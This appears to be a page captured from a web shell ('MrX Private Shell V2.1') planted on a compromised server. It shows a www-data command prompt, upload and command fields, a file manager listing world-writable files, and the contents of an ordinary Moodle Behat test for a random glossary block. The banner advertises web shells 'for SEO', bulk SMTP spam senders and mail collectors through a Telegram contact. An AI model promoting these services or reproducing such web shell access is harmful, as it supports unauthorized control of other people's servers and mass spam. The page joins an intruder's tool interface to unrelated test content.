__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
@block @block_glossary_random
Feature: Random glossary entry block can be added to the frontpage
  In order to show the entries from glossary on the frontpage
  As a teacher
  I can add the random glossary entry to the frontpage

  Scenario: Admin can add random glossary block to the frontpage
    Given the following "activities" exist:
      | activity   | name             | intro                          | course               | idnumber  |
      | glossary   | Tips and Tricks  | Frontpage glossary description | Acceptance test site | glossary0 |
    And I log in as "admin"
    And I am on site homepage
    And I turn editing mode on
    And I add the "Random glossary entry" block
    And I configure the "block_glossary_random" block
    And I set the following fields to these values:
      | Title                           | Tip of the day  |
      | Take entries from this glossary | Tips and Tricks |
    And I press "Save changes"
    And I click on "Add a new entry" "link" in the "Tip of the day" "block"
    And I set the following fields to these values:
      | Concept    | Never come late               |
      | Definition | Come in time for your classes |
    And I press "Save changes"
    When I log out
    Then I should see "Never come late" in the "Tip of the day" "block"
    And I should see "Come in time for your classes" in the "Tip of the day" "block"

Filemanager

Name Type Size Permission Actions
glossary_random.feature File 5.43 KB 0777
glossary_random_addblock.feature File 1.05 KB 0777
glossary_random_addblock_disabled.feature File 1.98 KB 0777
glossary_random_frontpage.feature File 1.36 KB 0777
glossary_random_global.feature File 3.87 KB 0777
Filemanager